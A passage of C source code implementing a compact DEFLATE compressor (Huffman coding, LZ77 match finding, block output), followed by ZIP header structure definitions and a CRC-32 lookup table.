#define SDEFL_MIN_MATCH 4
#define SDEFL_BLK_MAX   (256*1024)
#define SDEFL_SEQ_SIZ   ((SDEFL_BLK_MAX+2)/3)

#define SDEFL_SYM_MAX   (288)
#define SDEFL_OFF_MAX   (32)
#define SDEFL_PRE_MAX   (19)

#define SDEFL_LVL_MIN   0
#define SDEFL_LVL_DEF   5
#define SDEFL_LVL_MAX   8

struct sdefl_freq {
  unsigned lit[SDEFL_SYM_MAX];
  unsigned off[SDEFL_OFF_MAX];
};
struct sdefl_code_words {
  unsigned lit[SDEFL_SYM_MAX];
  unsigned off[SDEFL_OFF_MAX];
};
struct sdefl_lens {
  unsigned char lit[SDEFL_SYM_MAX];
  unsigned char off[SDEFL_OFF_MAX];
};
struct sdefl_codes {
  struct sdefl_code_words word;
  struct sdefl_lens len;
};
struct sdefl_seqt {
  int off, len;
};
struct sdefl {
  int bits, bitcnt;
  int tbl[SDEFL_HASH_SIZ];
  int prv[SDEFL_WIN_SIZ];

  int seq_cnt;
  struct sdefl_seqt seq[SDEFL_SEQ_SIZ];
  struct sdefl_freq freq;
  struct sdefl_codes cod;
};
extern int sdefl_bound(int in_len);
extern int sdeflate(struct sdefl *s, void *o, const void *i, int n, int lvl);

#ifdef __cplusplus
}
#endif




#define CHAR_BIT 8
#define SDEFL_NIL               (-1)
#define SDEFL_MAX_MATCH         258
#define SDEFL_MAX_CODE_LEN      (15)
#define SDEFL_SYM_BITS          (10u)
#define SDEFL_SYM_MSK           ((1u << SDEFL_SYM_BITS)-1u)
#define SDEFL_RAW_BLK_SIZE      (65535)
#define SDEFL_LIT_LEN_CODES     (14)
#define SDEFL_OFF_CODES         (15)
#define SDEFL_PRE_CODES         (7)
#define SDEFL_CNT_NUM(n)        ((((n)+3u/4u)+3u)&~3u)
#define SDEFL_EOB               (256)

#define sdefl_npow2(n) (1 << (sdefl_ilog2((n)-1) + 1))
#define sdefl_div_round_up(n,d) (((n)+((d)-1))/(d))

static int
sdefl_ilog2(int n) {
  if (!n) return 0;
#ifdef _MSC_VER
  unsigned long msbp = 0;
  _BitScanReverse(&msbp, (unsigned long)n);
  return (int)msbp;
#elif defined(__GNUC__) || defined(__clang__)
  return (int)sizeof(unsigned long) * CHAR_BIT - 1 - __builtin_clzl((unsigned long)n);
#else
  #define lt(n) n, n, n, n, n, n, n, n, n, n, n, n, n, n, n, n
  static const char tbl[256] = {
    0,0,1,1,2,2,2,2,3,3,3,3,3,3,3,3,lt(4), lt(5), lt(5), lt(6), lt(6), lt(6), lt(6),
    lt(7), lt(7), lt(7), lt(7), lt(7), lt(7), lt(7), lt(7)};
  int tt, t;
  if ((tt = (n >> 16))) {
    return (t = (tt >> 8)) ? 24 + tbl[t] : 16 + tbl[tt];
  } else {
    return (t = (n >> 8)) ? 8 + tbl[t] : tbl[n];
  }
  #undef lt
#endif
}
static unsigned
sdefl_uload32(const void *p) {
  /* hopefully will be optimized to an unaligned read */
  unsigned n = 0;
  memcpy(&n, p, sizeof(n));
  return n;
}
static unsigned
sdefl_hash32(const void *p) {
  unsigned n = sdefl_uload32(p);
  return (n * 0x9E377989) >> (32 - SDEFL_HASH_BITS);
}
static void
sdefl_put(unsigned char **dst, struct sdefl *s, int code, int bitcnt) {
  s->bits |= (code << s->bitcnt);
  s->bitcnt += bitcnt;
  while (s->bitcnt >= 8) {
    unsigned char *tar = *dst;
    *tar = (unsigned char)(s->bits & 0xFF);
    s->bits >>= 8;
    s->bitcnt -= 8;
    *dst = *dst + 1;
  }
}
static void
sdefl_heap_sub(unsigned A[], unsigned len, unsigned sub) {
  unsigned c, p = sub;
  unsigned v = A[sub];
  while ((c = p << 1) <= len) {
    if (c < len && A[c + 1] > A[c]) c++;
    if (v >= A[c]) break;
    A[p] = A[c], p = c;
  }
  A[p] = v;
}
static void
sdefl_heap_array(unsigned *A, unsigned len) {
  unsigned sub;
  for (sub = len >> 1; sub >= 1; sub--)
    sdefl_heap_sub(A, len, sub);
}
static void
sdefl_heap_sort(unsigned *A, unsigned n) {
  A--;
  sdefl_heap_array(A, n);
  while (n >= 2) {
    unsigned tmp = A[n];
    A[n--] = A[1];
    A[1] = tmp;
    sdefl_heap_sub(A, n, 1);
  }
}
static unsigned
sdefl_sort_sym(unsigned sym_cnt, unsigned *freqs,
               unsigned char *lens, unsigned *sym_out) {
  unsigned cnts[SDEFL_CNT_NUM(SDEFL_SYM_MAX)] = {0};
  unsigned cnt_num = SDEFL_CNT_NUM(sym_cnt);
  unsigned used_sym = 0;
  unsigned sym, i;
  for (sym = 0; sym < sym_cnt; sym++)
    cnts[freqs[sym] < cnt_num-1 ? freqs[sym]: cnt_num-1]++;
  for (i = 1; i < cnt_num; i++) {
    unsigned cnt = cnts[i];
    cnts[i] = used_sym;
    used_sym += cnt;
  }
  for (sym = 0; sym < sym_cnt; sym++) {
    unsigned freq = freqs[sym];
    if (freq) {
        unsigned idx = freq < cnt_num-1 ? freq : cnt_num-1;
        sym_out[cnts[idx]++] = sym | (freq << SDEFL_SYM_BITS);
    } else lens[sym] = 0;
  }
  sdefl_heap_sort(sym_out + cnts[cnt_num-2], cnts[cnt_num-1] - cnts[cnt_num-2]);
  return used_sym;
}
static void
sdefl_build_tree(unsigned *A, unsigned sym_cnt) {
  unsigned i = 0, b = 0, e = 0;
  do {
    unsigned m, n, freq_shift;
    if (i != sym_cnt && (b == e || (A[i] >> SDEFL_SYM_BITS) <= (A[b] >> SDEFL_SYM_BITS)))
      m = i++;
    else m = b++;
    if (i != sym_cnt && (b == e || (A[i] >> SDEFL_SYM_BITS) <= (A[b] >> SDEFL_SYM_BITS)))
      n = i++;
    else n = b++;

    freq_shift = (A[m] & ~SDEFL_SYM_MSK) + (A[n] & ~SDEFL_SYM_MSK);
    A[m] = (A[m] & SDEFL_SYM_MSK) | (e << SDEFL_SYM_BITS);
    A[n] = (A[n] & SDEFL_SYM_MSK) | (e << SDEFL_SYM_BITS);
    A[e] = (A[e] & SDEFL_SYM_MSK) | freq_shift;
  } while (sym_cnt - ++e > 1);
}
static void
sdefl_gen_len_cnt(unsigned *A, unsigned root, unsigned *len_cnt,
                  unsigned max_code_len) {
  int n;
  unsigned i;
  for (i = 0; i <= max_code_len; i++)
    len_cnt[i] = 0;
  len_cnt[1] = 2;

  A[root] &= SDEFL_SYM_MSK;
  for (n = (int)root - 1; n >= 0; n--) {
    unsigned p = A[n] >> SDEFL_SYM_BITS;
    unsigned pdepth = A[p] >> SDEFL_SYM_BITS;
    unsigned depth = pdepth + 1;
    unsigned len = depth;

    A[n] = (A[n] & SDEFL_SYM_MSK) | (depth << SDEFL_SYM_BITS);
    if (len >= max_code_len) {
      len = max_code_len;
      do len--; while (!len_cnt[len]);
    }
    len_cnt[len]--;
    len_cnt[len+1] += 2;
  }
}
static void
sdefl_gen_codes(unsigned *A, unsigned char *lens, const unsigned *len_cnt,
                unsigned max_code_word_len, unsigned sym_cnt) {
  unsigned i, sym, len, nxt[SDEFL_MAX_CODE_LEN + 1];
  for (i = 0, len = max_code_word_len; len >= 1; len--) {
    unsigned cnt = len_cnt[len];
    while (cnt--) lens[A[i++] & SDEFL_SYM_MSK] = (unsigned char)len;
  }
  nxt[0] = nxt[1] = 0;
  for (len = 2; len <= max_code_word_len; len++)
    nxt[len] = (nxt[len-1] + len_cnt[len-1]) << 1;
  for (sym = 0; sym < sym_cnt; sym++)
    A[sym] = nxt[lens[sym]]++;
}
static unsigned
sdefl_rev(unsigned c, unsigned char n) {
  c = ((c & 0x5555) << 1) | ((c & 0xAAAA) >> 1);
  c = ((c & 0x3333) << 2) | ((c & 0xCCCC) >> 2);
  c = ((c & 0x0F0F) << 4) | ((c & 0xF0F0) >> 4);
  c = ((c & 0x00FF) << 8) | ((c & 0xFF00) >> 8);
  return c >> (16-n);
}
static void
sdefl_huff(unsigned char *lens, unsigned *codes, unsigned *freqs,
           unsigned num_syms, unsigned max_code_len) {
  unsigned c, *A = codes;
  unsigned len_cnt[SDEFL_MAX_CODE_LEN + 1];
  unsigned used_syms = sdefl_sort_sym(num_syms, freqs, lens, A);
  if (!used_syms) return;
  if (used_syms == 1) {
    unsigned s = A[0] & SDEFL_SYM_MSK;
    unsigned i = s ? s : 1;
    codes[0] = 0, lens[0] = 1;
    codes[i] = 1, lens[i] = 1;
    return;
  }
  sdefl_build_tree(A, used_syms);
  sdefl_gen_len_cnt(A, used_syms-2, len_cnt, max_code_len);
  sdefl_gen_codes(A, lens, len_cnt, max_code_len, num_syms);
  for (c = 0; c < num_syms; c++) {
    codes[c] = sdefl_rev(codes[c], lens[c]);
  }
}
struct sdefl_symcnt {
  int items;
  int lit;
  int off;
};
static void
sdefl_precode(struct sdefl_symcnt *cnt, unsigned *freqs, unsigned *items,
              const unsigned char *litlen, const unsigned char *offlen) {
  unsigned *at = items;
  unsigned run_start = 0;

  unsigned total = 0;
  unsigned char lens[SDEFL_SYM_MAX + SDEFL_OFF_MAX];
  for (cnt->lit = SDEFL_SYM_MAX; cnt->lit > 257; cnt->lit--)
    if (litlen[cnt->lit - 1]) break;
  for (cnt->off = SDEFL_OFF_MAX; cnt->off > 1; cnt->off--)
    if (offlen[cnt->off - 1]) break;

  total = (unsigned)(cnt->lit + cnt->off);
  memcpy(lens, litlen, sizeof(unsigned char) * (size_t)cnt->lit);
  memcpy(lens + cnt->lit, offlen, sizeof(unsigned char) * (size_t)cnt->off);
  do {
    unsigned len = lens[run_start];
    unsigned run_end = run_start;
    do run_end++; while (run_end != total && len == lens[run_end]);
    if (!len) {
      while ((run_end - run_start) >= 11) {
        unsigned n = (run_end - run_start) - 11;
        unsigned xbits =  n < 0x7f ? n : 0x7f;
        freqs[18]++;
        *at++ = 18u | (xbits << 5u);
        run_start += 11 + xbits;
      }
      if ((run_end - run_start) >= 3) {
        unsigned n = (run_end - run_start) - 3;
        unsigned xbits =  n < 0x7 ? n : 0x7;
        freqs[17]++;
        *at++ = 17u | (xbits << 5u);
        run_start += 3 + xbits;
      }
    } else if ((run_end - run_start) >= 4) {
      freqs[len]++;
      *at++ = len;
      run_start++;
      do {
        unsigned xbits = (run_end - run_start) - 3;
        xbits = xbits < 0x03 ? xbits : 0x03;
        *at++ = 16 | (xbits << 5);
        run_start += 3 + xbits;
        freqs[16]++;
      } while ((run_end - run_start) >= 3);
    }
    while (run_start != run_end) {
      freqs[len]++;
      *at++ = len;
      run_start++;
    }
  } while (run_start != total);
  cnt->items = (int)(at - items);
}
struct sdefl_match_codest {
  int ls, lc;
  int dc, dx;
};
static void
sdefl_match_codes(struct sdefl_match_codest *cod, int dist, int len) {
  static const short dxmax[] = {0,6,12,24,48,96,192,384,768,1536,3072,6144,12288,24576};
  static const unsigned char lslot[258+1] = {
    0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 12,
    12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16,
    16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18,
    18, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20,
    20, 20, 20, 20, 20, 20, 20, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21,
    21, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22,
    22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23,
    23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
    24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25,
    25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,
    25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26,
    26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,
    26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
    27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
    27, 27, 28
  };
  assert(len <= 258);
  assert(dist <= 32768);
  cod->ls = lslot[len];
  cod->lc = 257 + cod->ls;
  assert(cod->lc <= 285);

  cod->dx = sdefl_ilog2(sdefl_npow2(dist) >> 2);
  cod->dc = cod->dx ? ((cod->dx + 1) << 1) + (dist > dxmax[cod->dx]) : dist-1;
}
enum sdefl_blk_type {
  SDEFL_BLK_UCOMPR,
  SDEFL_BLK_DYN
};
static enum sdefl_blk_type
sdefl_blk_type(const struct sdefl *s, int blk_len, int pre_item_len,
               const unsigned *pre_freq, const unsigned char *pre_len) {
  static const unsigned char x_pre_bits[] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7};
  static const unsigned char x_len_bits[] = {0,0,0,0,0,0,0,0, 1,1,1,1,2,2,2,2,
    3,3,3,3,4,4,4,4, 5,5,5,5,0};
  static const unsigned char x_off_bits[] = {0,0,0,0,1,1,2,2, 3,3,4,4,5,5,6,6,
    7,7,8,8,9,9,10,10, 11,11,12,12,13,13};

  int dyn_cost = 0;
  int fix_cost = 0;
  int sym = 0;

  dyn_cost += 5 + 5 + 4 + (3 * pre_item_len);
  for (sym = 0; sym < SDEFL_PRE_MAX; sym++)
    dyn_cost += pre_freq[sym] * (x_pre_bits[sym] + pre_len[sym]);
  for (sym = 0; sym < 256; sym++)
    dyn_cost += s->freq.lit[sym] * s->cod.len.lit[sym];
  dyn_cost += s->cod.len.lit[SDEFL_EOB];
  for (sym = 257; sym < 286; sym++)
    dyn_cost += s->freq.lit[sym] * (x_len_bits[sym - 257] + s->cod.len.lit[sym]);
  for (sym = 0; sym < 30; sym++)
    dyn_cost += s->freq.off[sym] * (x_off_bits[sym] + s->cod.len.off[sym]);

  fix_cost += 8*(5 * sdefl_div_round_up(blk_len, SDEFL_RAW_BLK_SIZE) + blk_len + 1 + 2);
  return (dyn_cost < fix_cost) ? SDEFL_BLK_DYN : SDEFL_BLK_UCOMPR;
}
static void
sdefl_put16(unsigned char **dst, unsigned short x) {
  unsigned char *val = *dst;
  val[0] = (unsigned char)(x & 0xff);
  val[1] = (unsigned char)(x >> 8);
  *dst = val + 2;
}
static void
sdefl_match(unsigned char **dst, struct sdefl *s, int dist, int len) {
  static const char lxn[] = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0};
  static const short lmin[] = {3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,
      51,59,67,83,99,115,131,163,195,227,258};
  static const short dmin[] = {1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,
      385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577};

  struct sdefl_match_codest cod;
  sdefl_match_codes(&cod, dist, len);
  sdefl_put(dst, s, (int)s->cod.word.lit[cod.lc], s->cod.len.lit[cod.lc]);
  sdefl_put(dst, s, len - lmin[cod.ls], lxn[cod.ls]);
  sdefl_put(dst, s, (int)s->cod.word.off[cod.dc], s->cod.len.off[cod.dc]);
  sdefl_put(dst, s, dist - dmin[cod.dc], cod.dx);
}
static void
sdefl_flush(unsigned char **dst, struct sdefl *s, int is_last,
            const unsigned char *in, int blk_begin, int blk_end) {
  int blk_len = blk_end - blk_begin;
  int j, i = 0, item_cnt = 0;
  struct sdefl_symcnt symcnt = {0};
  unsigned codes[SDEFL_PRE_MAX];
  unsigned char lens[SDEFL_PRE_MAX];
  unsigned freqs[SDEFL_PRE_MAX] = {0};
  unsigned items[SDEFL_SYM_MAX + SDEFL_OFF_MAX];
  static const unsigned char perm[SDEFL_PRE_MAX] = {16,17,18,0,8,7,9,6,10,5,11,
      4,12,3,13,2,14,1,15};

  /* calculate huffman codes */
  s->freq.lit[SDEFL_EOB]++;
  sdefl_huff(s->cod.len.lit, s->cod.word.lit, s->freq.lit, SDEFL_SYM_MAX, SDEFL_LIT_LEN_CODES);
  sdefl_huff(s->cod.len.off, s->cod.word.off, s->freq.off, SDEFL_OFF_MAX, SDEFL_OFF_CODES);
  sdefl_precode(&symcnt, freqs, items, s->cod.len.lit, s->cod.len.off);
  sdefl_huff(lens, codes, freqs, SDEFL_PRE_MAX, SDEFL_PRE_CODES);
  for (item_cnt = SDEFL_PRE_MAX; item_cnt > 4; item_cnt--) {
    if (lens[perm[item_cnt - 1]]){
      break;
    }
  }
  /* write block */
  switch (sdefl_blk_type(s, blk_len, item_cnt, freqs, lens)) {
  case SDEFL_BLK_UCOMPR: {
    /* uncompressed blocks */
    int n = sdefl_div_round_up(blk_len, SDEFL_RAW_BLK_SIZE);
    for (i = 0; i < n; ++i) {
      int fin = is_last && (i + 1 == n);
      int amount = blk_len < SDEFL_RAW_BLK_SIZE ? blk_len : SDEFL_RAW_BLK_SIZE;
      sdefl_put(dst, s, !!fin, 1); /* block */
      sdefl_put(dst, s, 0x00, 2); /* stored block */
      if (s->bitcnt) {
        sdefl_put(dst, s, 0x00, 8 - s->bitcnt);
      }
      assert(s->bitcnt == 0);
      sdefl_put16(dst, (unsigned short)amount);
      sdefl_put16(dst, ~(unsigned short)amount);
      memcpy(*dst, in + blk_begin + i * SDEFL_RAW_BLK_SIZE, amount);
      *dst = *dst + amount;
      blk_len -= amount;
    }
  } break;
  case SDEFL_BLK_DYN: {
    /* dynamic huffman block */
    sdefl_put(dst, s, !!is_last, 1); /* block */
    sdefl_put(dst, s, 0x02, 2); /* dynamic huffman */
    sdefl_put(dst, s, symcnt.lit - 257, 5);
    sdefl_put(dst, s, symcnt.off - 1, 5);
    sdefl_put(dst, s, item_cnt - 4, 4);
    for (i = 0; i < item_cnt; ++i) {
      sdefl_put(dst, s, lens[perm[i]], 3);
    }
    for (i = 0; i < symcnt.items; ++i) {
      unsigned sym = items[i] & 0x1F;
      sdefl_put(dst, s, (int)codes[sym], lens[sym]);
      if (sym < 16) continue;
      if (sym == 16) sdefl_put(dst, s, items[i] >> 5, 2);
      else if(sym == 17) sdefl_put(dst, s, items[i] >> 5, 3);
      else sdefl_put(dst, s, items[i] >> 5, 7);
    }
    /* block sequences */
    for (i = 0; i < s->seq_cnt; ++i) {
      if (s->seq[i].off >= 0) {
        for (j = 0; j < s->seq[i].len; ++j) {
          int c = in[s->seq[i].off + j];
          sdefl_put(dst, s, (int)s->cod.word.lit[c], s->cod.len.lit[c]);
        }
      } else {
        sdefl_match(dst, s, -s->seq[i].off, s->seq[i].len);
      }
    }
    sdefl_put(dst, s, (int)(s)->cod.word.lit[SDEFL_EOB], (s)->cod.len.lit[SDEFL_EOB]);
  } break;}
  memset(&s->freq, 0, sizeof(s->freq));
  s->seq_cnt = 0;
}
static void
sdefl_seq(struct sdefl *s, int off, int len) {
  assert(s->seq_cnt + 2 < SDEFL_SEQ_SIZ);
  s->seq[s->seq_cnt].off = off;
  s->seq[s->seq_cnt].len = len;
  s->seq_cnt++;
}
static void
sdefl_reg_match(struct sdefl *s, int off, int len) {
  struct sdefl_match_codest cod;
  sdefl_match_codes(&cod, off, len);

  assert(cod.lc < SDEFL_SYM_MAX);
  assert(cod.dc < SDEFL_OFF_MAX);

  s->freq.lit[cod.lc]++;
  s->freq.off[cod.dc]++;
}
struct sdefl_match {
  int off;
  int len;
};
static void
sdefl_fnd(struct sdefl_match *m, const struct sdefl *s, int chain_len,
          int max_match, const unsigned char *in, int p, int e) {
  int i = s->tbl[sdefl_hash32(in + p)];
  int limit = ((p - SDEFL_WIN_SIZ) < SDEFL_NIL) ? SDEFL_NIL : (p-SDEFL_WIN_SIZ);

  assert(p < e);
  assert(p + max_match <= e);
  while (i > limit) {
    assert(i + m->len < e);
    assert(p + m->len < e);
    assert(i + SDEFL_MIN_MATCH < e);
    assert(p + SDEFL_MIN_MATCH < e);

    if (in[i + m->len] == in[p + m->len] &&
      (sdefl_uload32(&in[i]) == sdefl_uload32(&in[p]))) {
      int n = SDEFL_MIN_MATCH;
      while (n < max_match && in[i + n] == in[p + n]) {
        assert(i + n < e);
        assert(p + n < e);
        n++;
      }
      if (n > m->len) {
        m->len = n, m->off = p - i;
        if (n == max_match)
          break;
      }
    }
    if (!(--chain_len)) break;
    i = s->prv[i & SDEFL_WIN_MSK];
  }
}
static int
sdefl_compr(struct sdefl *s, unsigned char *out, const unsigned char *in,
            int in_len, int lvl) {
  unsigned char *q = out;
  static const unsigned char pref[] = {8,10,14,24,30,48,65,96,130};
  int max_chain = (lvl < 8) ? (1 << (lvl + 1)): (1 << 13);
  int n, i = 0, litlen = 0;
  for (n = 0; n < SDEFL_HASH_SIZ; ++n) {
    s->tbl[n] = SDEFL_NIL;
  }
  do {int blk_begin = i;
    int blk_end = ((i + SDEFL_BLK_MAX) < in_len) ? (i + SDEFL_BLK_MAX) : in_len;
    while (i < blk_end) {
      struct sdefl_match m = {0};
      int left = blk_end - i;
      int max_match = (left > SDEFL_MAX_MATCH) ? SDEFL_MAX_MATCH : left;
      int nice_match = pref[lvl] < max_match ? pref[lvl] : max_match;
      int run = 1, inc = 1, run_inc = 0;
      if (max_match > SDEFL_MIN_MATCH) {
        sdefl_fnd(&m, s, max_chain, max_match, in, i, in_len);
      }
      if (lvl >= 5 && m.len >= SDEFL_MIN_MATCH && m.len + 1 < nice_match){
        struct sdefl_match m2 = {0};
        sdefl_fnd(&m2, s, max_chain, m.len + 1, in, i + 1, in_len);
        m.len = (m2.len > m.len) ? 0 : m.len;
      }
      if (m.len >= SDEFL_MIN_MATCH) {
        if (litlen) {
          sdefl_seq(s, i - litlen, litlen);
          litlen = 0;
        }
        sdefl_seq(s, -m.off, m.len);
        sdefl_reg_match(s, m.off, m.len);
        if (lvl < 2 && m.len >= nice_match) {
          inc = m.len;
        } else {
          run = m.len;
        }
      } else {
        s->freq.lit[in[i]]++;
        litlen++;
      }
      run_inc = run * inc;
      if (in_len - (i + run_inc) > SDEFL_MIN_MATCH) {
        while (run-- > 0) {
          unsigned h = sdefl_hash32(&in[i]);
          s->prv[i&SDEFL_WIN_MSK] = s->tbl[h];
          s->tbl[h] = i, i += inc;
          assert(i <= blk_end);
        }
      } else {
        i += run_inc;
        assert(i <= blk_end);
      }
    }
    if (litlen) {
      sdefl_seq(s, i - litlen, litlen);
      litlen = 0;
    }
    sdefl_flush(&q, s, blk_end == in_len, in, blk_begin, blk_end);
  } while (i < in_len);
  if (s->bitcnt) {
    sdefl_put(&q, s, 0x00, 8 - s->bitcnt);
  }
  assert(s->bitcnt == 0);
  return (int)(q - out);
}
extern int
sdeflate(struct sdefl *s, void *out, const void *in, int n, int lvl) {
  s->bits = s->bitcnt = 0;
  return sdefl_compr(s, (unsigned char*)out, (const unsigned char*)in, n, lvl);
}


extern int
sdefl_bound(int len) {
  int max_blocks = 1 + sdefl_div_round_up(len, SDEFL_RAW_BLK_SIZE);
  int bound = 5 * max_blocks + len + 1 + 4 + 8;
  return bound;
}

//////////////


#define ZIP_LOCAL_HEADER   0x04034b50
#define ZIP_CENTRAL_HEADER   0x02014b50
#define ZIP_END_CENTRAL_HEADER   0x06054b50

#define ZIP_VER_MADE_BY   831
#define ZIP_VER_TO_EXTRACT   10

#define Z_DEFLATED   8


#pragma pack(push, 1)
struct LocalFileHeader
{
    uint32_t signature;
    uint16_t versionToExtract;
    uint16_t generalPurposeBitFlag;
    uint16_t compressionMethod;
    uint16_t modificationTime;
    uint16_t modificationDate;
    uint32_t crc32;
    uint32_t compressedSize;
    uint32_t uncompressedSize;
    uint16_t filenameLength;
    uint16_t extraFieldLength;

};
#pragma pack(pop)

#pragma pack(push, 1)
struct CentralDirectoryFileHeader
{
    uint32_t signature;
    uint16_t versionMadeBy;
    uint16_t versionToExtract;
    uint16_t generalPurposeBitFlag;
    uint16_t compressionMethod;
    uint16_t modificationTime;
    uint16_t modificationDate;
    uint32_t crc32;
    uint32_t compressedSize;
    uint32_t uncompressedSize;
    uint16_t filenameLength;
    uint16_t extraFieldLength;
    uint16_t fileCommentLength;
    uint16_t diskNumber;
    uint16_t internalFileAttributes;
    uint32_t externalFileAttributes;
    uint32_t localFileHeaderOffset;

};
#pragma pack(pop)

#pragma pack(push, 1)
struct EndOfCentralDirectory
{
    uint32_t signature;
    uint16_t diskNumber;
    uint16_t startDiskNumber;
    uint16_t numberCentralDirectoryRecord;
    uint16_t totalCentralDirectoryRecord;
    uint32_t sizeOfCentralDirectory;
    uint32_t centralDirectoryOffset;
    uint16_t commentLength;

};
#pragma pack(pop)


static uint32_t crc_32_tab[] = { /* CRC polynomial 0xedb88320 */
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};
#define UPDC32(ch, crc) (crc_32_tab[((crc) ^ (ch)) & 0xff] ^ ((crc) >> 8))
uint32_t updateCRC32(unsigned char ch, uint32_t crc)
